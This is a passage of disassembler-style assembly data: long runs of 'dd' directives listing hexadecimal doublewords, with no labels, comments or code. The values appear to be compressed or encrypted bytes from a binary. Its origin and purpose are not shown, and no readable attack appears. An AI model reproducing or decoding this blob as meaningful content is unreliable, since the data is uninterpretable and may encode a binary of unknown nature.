		dd 74DD0281h, 0C08E9h, 883A8BE8h, 6C17F013h, 36800700h
		dd 3B5ADFBEh, 31D11262h, 74D0001Ch, 0A229C9FAh,	0FD135D00h
		dd 0D2642BB1h, 998A00DDh, 0ADD33477h, 683E6343h, 0F7229FCBh
		dd 53F5C840h, 1C9206h, 0E5D9AF5Ah, 423B12C0h, 0D1BFFD00h
		dd 2E565478h, 51281F6Dh, 65684060h, 0E57C778Dh,	0EAEE3CF0h
		dd 2AB68807h, 7B01976h,	14C4A05Eh, 0A480D289h, 9CB49900h
		dd 0F1025545h, 9A3CF500h, 5534FABh, 1E7CEE47h, 0BB1D354Ah
		dd 3EF102FFh, 0EDFFC6D5h, 42DE00F9h, 7327C0E8h,	0FE7918h
		dd 96DC3984h, 379E9203h, 6049E1A0h, 0AFE4639Ah,	0B5832007h
		dd 50C329C8h, 0CB23E068h, 0AE9C01A7h, 56E110Dh,	0E0D03034h
		dd 0F80214Ch, 0BBC01Ah,	63DEEEE8h, 0DA3E004Fh, 139D1DB2h
		dd 0A400BAD3h, 90B6B726h, 3023DBE4h, 0CC194DABh, 0C8001C6Eh
		dd 3B3F3280h, 4C084EF0h, 0DE000C36h, 0EB9225B8h, 1800611Dh
		dd 97F9AABAh, 39DC113h,	0DE31793h, 0C0CFDC10h, 126FA826h
		dd 0E4987C16h, 9D030Bh,	0E841971Ch, 458B000Ch, 4B750AD7h
		dd 0D95016BEh, 6B0043C0h, 0B5AE579Bh, 9149B2h, 89F2F456h
		dd 8BEB4DB3h, 0FD5BA100h, 9678D9Bh, 647C00A0h, 7369AF18h
		dd 0E3A89E14h, 990E8BDBh, 6095D18Ch, 0F880C0A3h, 1E3000B3h
		dd 2E9A582Fh, 2900ED13h, 9DF7B08Bh, 3C661A8Fh, 0DB00A082h
		dd 4AD19418h, 6AECD68Ah, 0AF713C05h, 0D100F3AEh, 2B7D07D4h
		dd 3F17004Fh, 911DB012h, 6805E8E7h, 0B930D00Ah,	0C3BE8E00h
		dd 69369Bh, 26CD2CD8h, 0C1703751h, 40D5400h, 7F0355F7h
		dd 166377E0h, 9CBEA1h, 286E457Dh, 52071188h, 24DFB88Eh
		dd 66CDF4B1h, 43D431F9h, 480100BCh, 730E5FEBh, 747F34FFh
		dd 36450701h, 4A020670h, 6DAAFCh, 4603FEBBh, 4F40C67Ch
		dd 0E66A1E04h, 0A38022B3h, 17227A7h, 0BF91F44Ah, 405BAE92h
		dd 84034FA0h, 0B11E0B7Ah, 0C9405EE9h, 0D790EE76h, 320D005Fh
		dd 72F09296h, 42EB1D70h, 0A740B6D4h, 0D704CF91h, 0E7E19FD4h
		dd 7CDD4680h, 0EC4813B0h, 0D853008Bh, 6243D372h, 0B5C07F00h
		dd 0B8AA7570h, 0B4F40067h, 51E47794h, 0BE722C02h, 0D5CDD4A1h
		dd 235CC084h, 0A0865830h, 178A7C1h, 1B8B8089h, 30110213h
		dd 5E0065D8h, 9DD35735h, 9772C2h, 21515B62h, 4FB94C4Dh
		dd 0A4D92900h, 7DC26B60h, 0F7FF1750h, 0D6FB001Fh, 0E5396F59h
		dd 0C79139h, 0ECED89F3h, 0EF7A84h, 170CF8D9h, 7EA2950Eh
		dd 8091663Dh, 75B1CBD7h, 2DAEFBh, 0B79A4A6Bh, 22C3FE2Ch
		dd 0EC3D2B00h, 6DC02EBCh, 162A0F8Eh, 0AAE7A139h, 0AD5FF06Ah
		dd 0FD0761E5h, 6F4078CFh, 0C86BE7E3h, 0FB2ABFh,	8C8FD622h
		dd 0EB840BE1h, 0CEAB7C00h, 30D487ACh, 1C5D00C1h, 33420875h
		dd 0E70051F6h, 3D368FD5h, 3FB1C6DAh, 62006346h,	0CF976D4Ah
		dd 16009AB9h, 3DFBB94h,	390A567Ah, 501264Ch, 143A184Eh
		dd 2046C83Eh, 35033F00h, 2270323Dh, 817329h, 13D7A6C8h
		dd 9F5A0DAh, 0BDEF38h, 104DFAF8h, 0F1DFA1h, 0D3B3E81Ah
		dd 0E0610E0Dh, 0AC37EE02h, 0E0D25F7Ah, 902F14B6h, 0C7930098h
		dd 3BA07C68h, 650E56D0h, 0A02849CDh, 3F54C5B4h,	4C5F00B7h
		dd 0C6E3E45h, 0BA50272Ah, 0A33F76E0h, 12F80F4h,	0EFD04559h
		dd 0F5FD3C05h, 37E1C500h, 0DBA487E2h, 0E0BB5101h, 9FBAEE78h
		dd 9E7020h, 34FCF828h, 742D3E13h, 566A5300h, 44E6BDD3h
		dd 0FBAD3835h, 0FD01B838h, 3885A443h, 7C52FC98h, 60001479h
		dd 0DBF74C0Dh, 1F2EFAh,	2C4D7EB6h, 0E69FE374h, 0AFD39700h
		dd 0C39A84F6h, 818A02F0h, 87C17768h, 714A9440h,	64263B01h
		dd 76342973h, 81C0B440h, 0DD240008h, 0EC111790h, 2600B66Ch
		dd 3473E730h, 690522h, 58FC151Eh, 480C0109h, 0CFA6C613h
		dd 494D714h, 0F8293341h, 7DE468C9h, 0F23900C0h,	0D67A2E73h
		dd 378832A3h, 4FD7B58h,	0BE8463DFh, 5740C08Fh, 130ED488h
		dd 0E7FB1418h, 0D40E23Dh, 4801AC1Ah, 3007C92h, 0ED4BB17Bh
		dd 9000C08Fh, 0A8D98A3Bh, 0B5DABCh, 1BB6B047h, 0F34BE7A2h
		dd 0AFBD8E03h, 1F3DEDE9h, 80225B48h, 0C8A7D30Ch, 9B00F303h
		dd 29896CCFh, 0A69CE6h,	2064B97Dh, 0E91D0141h, 0C04B0200h
		dd 500FC851h, 1E473D9h,	5B3966F3h, 0E8095734h, 3F00089Eh
		dd 0BF4601Dh, 0E43A6C8Ah, 0C86A0577h, 0C079F17Dh, 0D58EDD14h
		dd 9DD09800h, 80ECB5E0h, 66231DC6h, 6409070Ch, 4FFAE016h
		dd 0E600E901h, 0EE47F13Fh, 804B13h, 0C2DE9BADh,	0CB9CDF74h
		dd 0AF00947Fh, 0B98FEE29h, 0F2CF34FAh, 14E7D97h, 553F6D8Dh
		dd 20691147h, 0CA00DBB2h, 0FDB2E356h, 1AB5DFAh,	0ACCCCE7Eh
		dd 80986324h, 4E2D3311h, 4316CBBh, 0FEA5DDECh, 52D4800Bh
		dd 8830501Bh, 5A9A28A3h, 271500CFh, 6FEE02Dh, 97000811h
		dd 12D58CA0h, 0B2CC2130h, 0B9BA0464h, 696766h, 8A24A4D8h
		dd 21BD6046h, 55858060h, 0F8111260h, 28CC8FDh, 0E137B219h
		dd 5C40A686h, 7637D00Bh, 3A53495Ah, 0D1CE895Bh,	0B7F6E4h
		dd 1B8E9AF7h, 0BC98AE86h, 8BEE6F0Fh, 18C01D41h,	1FA5647Bh
		dd 853C263Eh, 2CAC0000h, 0C8270A4Eh, 495A1E01h,	0B5E5A77Ch
		dd 0F861B04Ch, 6790C6h,	1E087130h, 5B1D3196h, 0FCE67B3Dh
		dd 24A8ED3Eh, 1700AF7Eh, 5F01222Ah, 7CAE9004h, 0DDAA0081h
		dd 0B992EE11h, 18017994h, 0C3533085h, 0E1F84EE2h, 0EC6F4806h
		dd 245F130Fh, 9ED546A0h, 71E64C22h, 2D304498h, 59D1904Ah
		dd 0C1B501E8h, 9A1AB6D6h, 3B3ED814h, 0D98EEF00h, 7AD420F5h
		dd 7070F26Dh, 8193A39h,	553B001h, 40DB7678h, 9EB430B3h
		dd 878D0200h, 0AED70148h, 0A6C10069h, 1435C520h, 0EC00B9EFh
		dd 2B49FF04h, 7A2D4795h, 81C200A0h, 5F1C4D03h, 67073162h
		dd 0CE9E8C9Bh, 30901E77h, 0FAF2960Fh, 504F1D49h, 79D26841h
		dd 5E70EBh, 327697FEh, 8EE6A67Ah, 0F6569E1Ch, 489FADC2h
		dd 38C7804Fh, 1A49Bh, 0C634F777h, 0BBA2E880h, 0C295A700h
		dd 3217DFBAh, 0EC740040h, 420B2836h, 820E0C3Dh,	0A3C2A1DBh
		dd 0E04BDE61h, 0F82D80A8h, 8125001Bh, 0F5A91DDAh, 0B60034E1h
		dd 3072FED0h, 0AB389Fh,	59DD93A6h, 49ECE6FFh, 8960C200h
		dd 525483DCh, 1A8100C9h
		dd 0F3721C6h, 0FA001145h, 5FBE7FD8h, 1B7B12Ah, 0A40EBCF0h
		dd 0D87CAD9Ah, 35007730h, 58CB78AAh, 0D4755Bh, 0AEF2BDB5h
		dd 439B416h, 413F7A79h,	36F7803Bh, 68B9CC0h, 0CCAA0089h
		dd 5DD5EC29h, 33007104h, 8285A683h, 0F62410h, 670C61E7h
		dd 0CD7B784Ah, 1C03BF00h, 0CFF833C3h, 69010088h, 86C0DC1Ah
		dd 0DB007D27h, 596FB276h, 0B6CED5h, 0B39A78B5h,	6D8AF396h
		dd 1CE70800h, 3040A5DFh, 0C6661373h, 0D59F0006h, 20C1FA6Bh
		dd 0F62F4500h, 4952E43Dh, 48DE00E5h, 0A7F16522h, 0A97487C2h
		dd 256AEE0Ch, 0EAB02054h, 0BC880043h, 0EA3A3E12h, 7400F9ADh
		dd 4D647879h, 560F2h, 30A64809h, 2BDDBC3h, 0BF74F600h
		dd 6381EE35h, 0BC5400D6h, 9B925358h, 0D2E47BACh, 0B3FC822Eh
		dd 0BF8C3400h, 0F15C043h, 0A7A2C964h, 4D046BC3h, 9B5A88C8h
		dd 0F3EEF000h, 940B5DF8h, 0D0B50055h, 211872DBh, 1F0F7DDCh
		dd 64C3E211h, 748045C7h, 1C262C5Ah, 40AAA78Fh, 0D4E68A6h
		dd 0A1F8309h, 0A5801D49h, 6605C6C9h, 0C0AB3D2Ch, 406C4A80h
		dd 0F67D3EEh, 0A66AC201h, 0F9DE08C1h, 0AA9DA02Eh, 0FB005271h
		dd 1222A92Bh, 1B86BF3h,	0BCD814F7h, 306E19CEh, 3C007A70h
		dd 0A73EE7E1h, 0E96277h, 71D5CF90h, 0E0AC8CEEh,	0A4A5ED00h
		dd 9C8D7A11h, 5E92001Ch, 31DB6507h, 9097001h, 0A0B269D4h
		dd 0D0627998h, 0F6A20095h, 5A089A91h, 5003D15h,	0B1F98FFEh
		dd 766B39Dh, 86897DE5h,	1098A02Bh, 0A3F676Eh, 0B4818044h
		dd 26330930h, 9C6F4CE8h, 0A0785800h, 23DD72B5h,	83141100h
		dd 82A1F1E9h, 86640337h, 4C0966CFh, 135F4298h, 0A0EB0530h
		dd 90D2C198h, 258C0002h, 0EEB432F4h, 6439B6B9h,	1294BD0Ch
		dd 0A00F785h, 6F3A3D73h, 0DAB90104h, 21C4FBF9h,	36EBF42Ah
		dd 5E5BCD1Fh, 2BC64601h, 90F75C97h, 146C87h, 9CFD083Ah
		dd 1F5916F8h, 37D33C0Fh, 63CDE5D4h, 5C3A8C0Fh, 80A73AFEh
		dd 4AA14E19h, 8D5A14h, 8069255Fh, 9C86306Eh, 5416911Ch
		dd 3A123C9Dh, 0FF2B4C81h, 11739FCh, 0BE98216Fh,	60837AC3h
		dd 13000ED0h, 0A6CC8F45h, 1DC41F75h, 87372E62h,	0B1561E24h
		dd 0C095CDB3h, 9F3EDE8Eh, 35EC83A4h, 992A663Fh,	38608284h
		dd 0ABE50E15h, 0DA60E11Bh, 1CA4F612h, 4DB23Dh, 92D42324h
		dd 14857E45h, 0F88C9D62h, 8EF8362Ch, 1FAF5750h,	3C4167A0h
		dd 2F00FC5Eh, 1D0B6CC9h, 58F258D8h, 0FF004052h,	0F5F1363Fh
		dd 0E8023929h, 0F8153574h, 0ABB44064h, 0EC465C3Eh, 53F4D01h
		dd 0C47B5131h, 5B038E42h, 1E611921h, 1BB00060h,	4AC2A5DBh
		dd 0D900E0DDh, 2BBEFB6Dh, 286471h, 0D4EB8E79h, 0F7E81EA8h
		dd 48BF4600h, 0CA687586h, 0FAFE00BEh, 12D7D1FBh, 0F3005161h
		dd 6ECF2931h, 190215h, 650FF811h, 0AFE27398h, 0CB630A12h
		dd 59339300h, 0A26225h,	0B0CE6BB5h, 0E00DB940h,	0FB1FF3F2h
		dd 0D3C0239Ch, 0E2025091h, 0DCB300A0h, 4BA8F6A1h, 9400787Fh
		dd 86A5AB0Dh, 0B9DEC8h,	54AC3067h, 9C32930Eh, 31C0B87Bh
		dd 1C919BFBh, 3606006Fh, 0C624BDF4h, 7C7C7B86h,	13078DB8h
		dd 464A190Ch, 25A6F3B1h, 0C0BFBC60h, 542DB141h,	0CCF6E3C0h
		dd 9D87D83Ah, 0A7A8D48Dh, 0F1B0B200h, 392A0C6Dh, 29B51E24h
		dd 0E3814E48h, 0F300AB4Fh, 82069B91h, 0C92A0200h, 945B5275h
		dd 0AADD482Fh, 546C5000h, 43FC612Ch, 0D7D6E200h, 48E0A5D4h
		dd 1D901F6Eh, 0E15580B5h, 5899957Fh, 2378CE0Bh,	3EF080FBh
		dd 588FEA87h, 7D007C59h, 69C87967h, 0B7006A63h,	345D7058h
		dd 446C66h, 9BEAA3D6h, 0A9E4B5C7h, 0F1AABD00h, 81B6BCC4h
		dd 235500D4h, 0B3E96F36h, 0D20BE1D3h, 0A439C7A4h, 1E8090F0h
		dd 0A5FE1Fh, 533263B2h,	0D0225E10h, 0B680EB07h,	559013BCh
		dd 0F37140h, 0E3C4B766h, 0FDCEC9ACh, 5A8FED02h,	0E1F0651Bh
		dd 95E594BCh, 79299D4h,	0AA84E1C5h, 246D41B7h, 0F3F82055h
		dd 972A2600h, 0E97663E5h, 0F5FAC6h, 0A5B48FB8h,	7C2D3478h
		dd 0F8433E09h, 20D00F4Eh, 0C28F89D8h, 191600CFh, 0B6C32927h
		dd 7217FB35h, 9099h, 0E732A382h, 0E02E0411h, 0C0226FB1h
		dd 0A8C8B072h, 9F1891E0h, 47F9D8AFh, 0F7013D8Bh, 7B60C700h
		dd 0C5EEFDBh, 98FB2D00h, 6D04B438h, 0AAA05F7h, 0FDD4684h
		dd 4BE0F4CCh, 0D2726F28h, 30A3BB03h, 81777E4Eh,	0B180B9FDh
		dd 66E99ECFh, 9094A334h, 0CAF1A700h, 0ADE76Ch, 94CDDEC9h
		dd 0D4D561DAh, 152B1C05h, 14933BDCh, 0E4E01E03h, 9F790CFFh
		dd 0A4183FB1h, 6151F0DEh, 75F80027h, 0A98F4819h, 29C054ABh
		dd 0EC0D9743h, 712718B2h, 9AD23165h, 9DCB2806h,	79D694h
		dd 0B82B1813h, 12E3BEB4h, 1F6DCF06h, 904C23h, 62175C01h
		dd 0A5CCD763h, 37AA5014h, 0A96E30ACh, 702726B7h, 0C13D00E2h
		dd 8EC82B82h, 5C0393BCh, 56B9B3AEh, 0F9C7F012h,	987C725Eh
		dd 0D7470083h, 0F6AAEF69h, 0E8009302h, 5D73B68Ah, 30E0F046h
		dd 11C87F86h, 0CB300A70h, 0F8D81175h, 108F303Fh, 0CCD83D0h
		dd 11985630h, 773CF89h,	2A95E824h, 9E2A1Ah, 0DB4B58CDh
		dd 2D003563h, 9BAED3A5h, 257FD7EEh, 0CC808FF7h,	0A7C16454h
		dd 0A9CB2100h, 2E2AD2A0h, 26120080h, 58B6ED84h,	92E4C4h
		dd 97DF9401h, 0FD042E20h, 215C80EFh, 522B016Ch,	740F4A5Eh
		dd 650424A7h, 6C572624h, 0B382A300h, 9001ABC9h,	0BD8D2C44h
		dd 0BEC1004Ch, 482E68D4h, 6EE95807h, 0B5B0AC2Dh, 0FA38C074h
		dd 2E37723h, 36F0B8C4h,	62558788h, 0C9EC206Eh, 6CFA08Fh
		dd 0AD3AEE7h, 1E00784Fh, 98E352D0h, 4EE588BFh, 0BD4C00B3h
		dd 305303BCh, 9227773Fh, 16006065h, 0EF3F6964h,	4F090087h
		dd 7EE5EBB3h, 6F177DCEh, 1101F475h, 0E6437B76h,	37551880h
		dd 284519A2h, 0D989D100h, 1C23BFA8h, 0D2323009h, 1738A751h
		dd 98C87B09h, 21A787FBh, 5F19F3F1h, 628DCCh, 0C52ED4C7h
		dd 819E6572h, 4D4348C0h, 0AC2FA47h, 0C30CEF3h, 0FFAD00BCh
		dd 0CF83A587h, 0B0EBAF2Ah, 3947D41Ch, 99295E40h, 0F4ABCB68h
		dd 16B033h, 0BCF20CE7h,	5F958C4Ch, 19C70AECh, 29804442h
		dd 75448A1h, 13DC985Ah,	27F90060h, 742C8F5Bh, 0C50FA4D3h
		dd 0FD1144B4h, 34208A0h, 371C298h, 0AEC0D741h, 5D90B6A1h
		dd 0CDB0E805h, 0C08C5C0Dh, 0C0BB4C2Dh, 9AD02C00h, 77579D0Eh
		dd 3E78731Ch, 0B078ECEh, 13220433h, 0E32A6881h,	90D84BFCh
		dd 0E79604CAh, 90265EDCh, 0D6EDB05Ch, 90BD8E01h, 0A1BEABC2h
		dd 0DECC28FDh, 8A92001Dh, 0C3DDF922h, 0BA00EBF7h, 104EA09Fh
		dd 0A4DB7Dh, 29DAFB4Fh,	0CC946FC9h, 0C22B6000h,	0D5770E5Eh
		dd 54FE0082h, 70628B21h, 72005AB5h, 0F0A9C360h,	79D148E8h
		dd 731800E2h, 24BF18Fh,	0CCA00E88h, 0C8EB4412h,	32E0462Eh
		dd 0FC363C00h, 6B16C81Dh, 9C5000Dh, 0A930FA58h,	0AE00F00Ah
		dd 4901FBFFh, 0F771FDh,	23600845h, 0B7891856h, 0EE429916h
		dd 0F6355400h, 0EADE838h, 2F49DBC8h, 0F3550216h, 484F07h
		dd 0DC7A93E2h, 0D81181FFh, 0D2AFFF99h, 7D458E4h, 74B8ED56h
		dd 0FB460EF7h, 0D60029C2h, 989921B7h, 3BA0CBAAh, 80805068h
		dd 0EF793583h, 2000CD28h, 6A61A486h, 13178881h,	0C0A3D95Fh
		dd 4782918h, 84444Dh, 0E52E2766h, 0B13D03h, 0D8573559h
		dd 0C1934C78h, 80F0FF00h, 0A42A600Ah, 0F9583A37h, 5EDEF780h
		dd 77AEA0C7h, 9EB09900h, 2FCA5BE7h, 0CF1E0202h,	0C123DC97h
		dd 0D716A4E0h, 1100F4ABh
		dd 3E45CD2Ch, 68C8FDh, 0C092D6D8h, 0C40FF85h, 0E124511Ch
		dd 0EE145224h, 0B6980BA7h, 0FF1020DEh, 0E85AA28Eh, 5F20004Fh
		dd 5D0A54E3h, 3D005823h, 62DA3E53h, 48AF5115h, 0B000E466h
		dd 0C406C7D6h, 2107F3CCh, 0BF99273Dh, 60A87B82h, 747A5908h
		dd 1D878A5h, 0D524C888h, 0D4340FD0h, 0F30068B9h, 20F0E02Dh
		dd 12047433h, 90D0F631h, 8613E234h, 0CC078D70h,	4ED6573Dh
		dd 0E8603701h, 0B0AD2EF8h, 0D2A91E16h, 67B7405Ah, 856B3CF0h
		dd 0A0C4DB1Dh, 0A12F41Dh, 308B4800h, 0B3767F4Dh, 57205C8h
		dd 3020DD54h, 0A04CB6B0h, 6D2200E0h, 920D4EE5h,	4A8201CCh
		dd 0DC63F6B4h, 16107785h, 449E542h, 0A7EC8314h,	0AE9D9076h
		dd 0D8F1586Dh, 69BAA9A0h, 1D3DC10Ch, 0A619B8h, 6E23A026h
		dd 8CF380ECh, 0AAFF2901h, 0C41CB212h, 0BB6266C0h, 0CE9D110Ch
		dd 211EC202h, 8F88689Ch, 12085BC9h, 0C23507E4h,	99F80056h
		dd 90E6B8Bh, 16171611h,	4084110Fh, 0A336AD29h, 4AB5052Fh
		dd 0CC615A34h, 72016580h, 0D6CDE446h, 0C03435C5h, 70FB14B2h
		dd 0D203A8A8h, 6FCAFCBAh, 7B2439F0h, 55FF841Dh,	30518A40h
		dd 0B9617850h, 40854988h, 0E880D0C2h, 770E277Ch, 0A7941180h
		dd 0C590549Dh, 26AB9B69h, 89B87AAAh, 7CA7AFD2h,	65D008Ch
		dd 4830296Fh, 6CD95990h, 0E77B37h, 0F91F89D5h, 36B01094h
		dd 49DCF30Fh, 6E8EC2EEh, 96FC60F0h, 0B0BC50C5h,	305EB057h
		dd 0D218EFC3h, 2896BD6Eh, 9886814h, 0C0411257h,	0DE92CCh
		dd 0EF20870Eh, 0B3C2978Eh, 0DC00CB4Fh, 77F2C6Dh, 0EC813C25h
		dd 1D715E81h, 7FE7744Dh, 0CE9B3080h, 53A00B1h, 6444BC7Dh
		dd 5D07A226h, 8BE0752Bh, 0B49A53F0h, 0EF7017A1h, 86BE0188h
		dd 0D77CEACDh, 35D8AFD8h, 47068CB0h, 0FB4E808Bh, 12ED0011h
		dd 0D332F3D4h, 7B249975h, 0E1851494h, 10D45B76h, 4B25E481h
		dd 5C246CE5h, 0D8AA182Dh, 356B21F6h, 9830FE18h,	17678DD9h
		dd 0E79118h, 4EE1FB8h, 0CAF6C63Dh, 13200B07h, 1A505612h
		dd 0C0980Dh, 63DF9E4Dh,	0E6FE401Fh, 0EA63Bh, 5DFF0C25h
		dd 0ABF351Bh, 6A202FB9h, 9A8707FBh, 650840B7h, 0A677EAEBh
		dd 43519200h, 9E82752Dh, 0A19300FEh, 2FFC840Ch,	24EA67BFh
		dd 0FF009576h, 0CA9AD717h, 12AA8AF1h, 13D5E1DAh, 0BC4C008Fh
		dd 15441D72h, 7E7DE80h,	0E9F9F04Ah, 787753Ch, 2083CA9Ah
		dd 0BD90B997h, 8CC69402h, 784436E4h, 4560040h, 114B9D4Ah
		dd 57009C65h, 82B57521h, 0B0F30E55h, 0B281094Ch, 6450E105h
		dd 0DC7D5700h, 0FA4F150h, 4290031h, 0F7D43660h,	2F2F384Eh
		dd 829C0068h, 5E49DCEh,	64525CDCh, 32C840BBh, 856ACC8Fh
		dd 5B256B00h, 8E828C9Bh, 3989126Ch, 4874009Dh, 8BCE9029h
		dd 301EEB2Ch, 27075C13h, 0D53059ACh, 42BF4Dh, 7323759Ah
		dd 0AA33858Ah, 0A105F817h, 69938407h, 0C225D810h, 0C8632C0Ah
		dd 23C00A8h, 0DA4E9BF3h, 5D397016h, 0C0E1DF00h,	131B438Ch
		dd 0EB158Fh, 5E6B2090h,	0A107C7DEh, 82B684C1h, 0CD68A039h
		dd 9A4BBE8h, 47C076FDh,	0DD926C80h, 8AEA73CFh, 882BD300h
		dd 1BE4DB05h, 57170024h, 8FEDC541h, 1278D80Ch, 0F28EE001h
		dd 0F03EB67Eh, 2610EC36h, 6B9EC00Bh, 4994C984h,	63096059h
		dd 0E423DD0Ah, 79D088F0h, 0FC9358B8h, 2DFA00BFh, 0EC39C15Dh
		dd 97EDF93Fh, 965641C4h, 0C6A089E0h, 32056861h,	8E7F0000h
		dd 0C4CB85CAh, 4871320h, 0FB884C24h, 39127C39h,	0BC870636h
		dd 3DD6410h, 8004B157h,	16A68688h, 403BAEE3h, 12CB0CE2h
		dd 2630A9h, 5715D1E8h, 0FC81367Ah, 0EE1B2101h, 0F1E3E2ACh
		dd 130C1EFCh, 53E421Ch,	0C015CDE8h, 5893DE4Bh, 0D7FD800h
		dd 0F4222961h, 2AF02C66h, 9B9A1318h, 69E70224h,	0C097E80Eh
		dd 0BA84A160h, 4F390068h, 0F8B8E573h, 0AB529C18h, 0BC8117Ch
		dd 7DEE70h, 0C997395Dh,	0FEF8A7B2h, 8AFFE300h, 0A3B94E53h
		dd 0D8454C9Ch, 0A7D71E00h, 0A4BEE1EFh, 0E8741424h, 398E7E00h
		dd 0E6FA18h, 9A84D25h, 4A2DE733h, 8001132Ch, 1A16CB24h
		dd 69B08048h, 11773868h, 5338A524h, 0BE6D2E00h,	60BCC795h
		dd 2B0D79A2h, 3C023849h, 0CF033981h, 3A184085h,	90E05979h
		dd 548D8F09h, 8E13E068h, 0C8E099EAh, 0D5D8CB07h, 0DD513B32h
		dd 0B02C68C6h, 0F5C2AFA0h, 61DB300h, 0EF21533Fh, 5A3C0036h
		dd 726013E0h, 922596AEh, 1065E4h, 4401E224h, 0E10768A9h
		dd 0F3AACCB3h, 0FAA53260h, 961A1E0Dh, 0DC5CC3DBh, 20E31CCFh
		dd 60A4E8C4h, 3E49921h,	15080240h, 0EBF7E962h, 0A5092C5Eh
		dd 2FC0333h, 6D00B78Fh,	2E8EC1CCh, 0D0B93Bh, 3393D2ADh
		dd 761C4F73h, 0E2457999h, 0C601A4C5h, 664461E8h, 24F3C064h
		dd 801C74C7h, 0FC012F8Dh, 0E49EB891h, 4026E109h, 67301D7Ch
		dd 0D0C72959h, 52166F81h, 0B30234BCh, 833861F6h, 0E89722B0h
		dd 91D423h, 62D9CF42h, 0ED40B221h, 552A0C00h, 0E4A88F3Fh
		dd 0E31500ADh, 0D814DCA9h, 0FD00EDA2h, 0B4105B6Dh, 768AA844h
		dd 0F8050018h, 4D322456h, 23002FBAh, 0F081E96Bh, 6CBCAFh
		dd 0F1F6AAF7h, 0D13C1D5Eh, 4F004375h, 0ECCD8805h, 536DBFh
		dd 0DBA31A64h, 0EFB029DAh, 6EB38100h, 0D3376154h, 3E5490BAh
		dd 83CECD87h, 4A987F60h, 9378C55Dh, 2264804h, 0A4809097h
		dd 0B044470Bh, 0F7AD0448h, 91C2Dh, 9882AFB6h, 0F4E2B1h
		dd 0E0A13FA5h, 0CF925B91h, 85688000h, 1C446DCCh, 0C27B00EEh
		dd 0DC8DDF93h, 0A200D5A1h, 0AED49CE9h, 86DACF9h, 0B7C72E2Bh
		dd 48EAB90Fh, 183C0E0h,	88001E4Ch, 45FA6403h, 0E1C3E4h
		dd 977456CAh, 0E9A50C43h, 2A2B6C1Ch, 6E393202h,	8054C0AEh
		dd 3B9A1BDDh, 6990BEBEh, 0D04D2141h, 30D61700h,	55303C87h
		dd 5B6CE53h, 0D93F8CE7h, 661CC019h, 6F005EE6h, 0A8F64F9Ch
		dd 77EF6B1Eh, 58B504A6h, 923DB499h, 2040B6E8h, 0CC7DD7BBh
		dd 9C844400h, 0C0CB8269h, 8AD603AFh, 0FB013223h, 2C6B0A7h
		dd 2B0049EBh, 0D28D057Fh, 3B83D5A3h, 4616EFD9h,	36847759h
		dd 0DE1E4408h, 0BC0B4ABh, 6C1B9860h, 4AAA00CEh,	9F81A720h
		dd 0F82C07F2h, 1801900Eh, 56F38DD9h, 9CC01028h,	24A52C62h
		dd 7980F104h, 0FCCED3C9h, 53104600h, 5B695A1Dh,	0B88FC607h
		dd 2282FEB9h, 0CDD86061h, 0EE7400BFh, 6AFF62FCh, 111F471Ch
		dd 0F2808D6Eh, 4F5D9C98h, 0CA971EDEh, 30A64095h, 0E00D9E16h
		dd 2E698600h, 24FC1405h, 0DA9C0004h, 6A334687h,	86073B4Eh
		dd 2EB75C77h, 0A9C00E00h, 2F520028h, 0FAD97426h, 3B90A7F9h
		dd 0EA6DEE00h, 2D1E7736h, 0FFC94820h, 1BB7FC09h, 2C0238D0h
		dd 4883814h, 341260E3h,	64EF495Bh, 0C03C1A17h, 2A083EC0h
		dd 42E2400h, 732F3036h,	21CD0325h, 0B1391260h, 0F40D89Ah
		dd 0B000EA03h, 4DFEF905h, 10B6810h, 0CF91205Eh,	20B62A81h
		dd 50FE1D64h, 1E4A1284h, 920880B2h, 2F7F5AA2h, 437A7C01h
		dd 1C367093h, 982ADC30h, 233402A8h, 69669E4Ch, 0C180D05Ch
		dd 5E8B5D20h, 522B0046h, 0AEA7A289h, 0F400AB69h, 7ED42A06h
		dd 48115F28h, 0EE014851h, 0EB8FBE77h, 0A5BC2495h, 0D19DE808h
		dd 0A9C4009Ah, 54D0B9F4h, 5A0FDA1Ch, 4805EA07h,	43E6E330h
		dd 0E2FC00F5h, 25BE5B3h, 0B10FBEF7h, 0EBD29BADh, 0D1041078h
		dd 603F5D8Eh, 12733000h, 0D8BBFC1Ah, 8EDCCF2Fh,	4C7CFDCh
		dd 0C4E8B79Dh, 0EDE2A003h, 89F066A6h, 834B88BAh, 740CFC80h
		dd 0A29F3DD5h, 877FC080h
		dd 458F0EDDh, 211242EEh, 0B80075F6h, 0EA0F1D8Eh, 0FD1F0087h
		dd 0E92F99F7h, 0C41CB5F3h, 0D3C080D7h, 2AB08FE4h, 0A80B5AFBh
		dd 287D00ECh, 3F60F2ADh, 5CDD00ACh, 5A7A9C4Fh, 1002F603h
		dd 0E785ED13h, 7E0C64DCh, 0F1820B19h, 82005672h, 76ED5803h
		dd 3FF62D06h, 0D0EC1Eh,	0BE7D5F16h, 0B50E1283h,	2BF53E00h
		dd 14552699h, 0A8B9008Dh, 18A28679h, 4003DAEh, 91D75B0Ch
		dd 19AD3645h, 0D87661BAh, 0EC9BE9EAh, 89009303h, 95A31553h
		dd 0A8215Fh, 37307C84h,	960D0B71h, 868F8700h, 0A48193D3h
		dd 0F47D00C9h, 0E068B89Bh, 260428ABh, 11926FC7h, 48932102h
		dd 718008D4h, 0CDF2340Ch, 0C39A0130h, 39EB2D99h, 90AC5078h
		dd 19004CF4h, 88BD452Ah, 399D581h, 0B9EE551Eh, 0ACB95748h
		dd 48022F9Fh, 0C02FA3C2h, 12150CD4h, 0E2725Fh, 0F2ED5C08h
		dd 600041C9h, 6CB59F85h, 50AAB4EBh, 0A59C4Dh, 0C36944C1h
		dd 29684C0Ch, 77F36F0Fh, 1108E081h, 9F0B7210h, 251B2001h
		dd 0A26820D6h, 8A9B2800h, 38045B79h, 73A800F4h,	541B6FE7h
		dd 8307131Ah, 341D3177h, 0C68365B7h, 0F129007Eh, 25FF146Dh
		dd 291E280Eh, 8F002D16h, 7577E080h, 92C5004Bh, 1FFCDA43h
		dd 30139135h, 0B1000B62h, 0A4663938h, 1F727585h, 0CE3B5027h
		dd 0B5806FF6h, 96EFFECDh, 71931200h, 9F8BF32Fh,	74660127h
		dd 0FB54D68Fh, 77B828BBh, 0F8620F07h, 6C011D1h,	394001E0h
		dd 0AF00FBF2h, 0ACE588E1h, 0BC00E4CEh, 33631C4Eh, 7D2E3Fh
		dd 0A433541h, 194FB43Dh, 8ACD4D1Ch, 81BCE6C9h, 0D4A593Ch
		dd 7BC2E82Ch, 0A87829C5h, 0A4569400h, 465C49E0h, 4E660087h
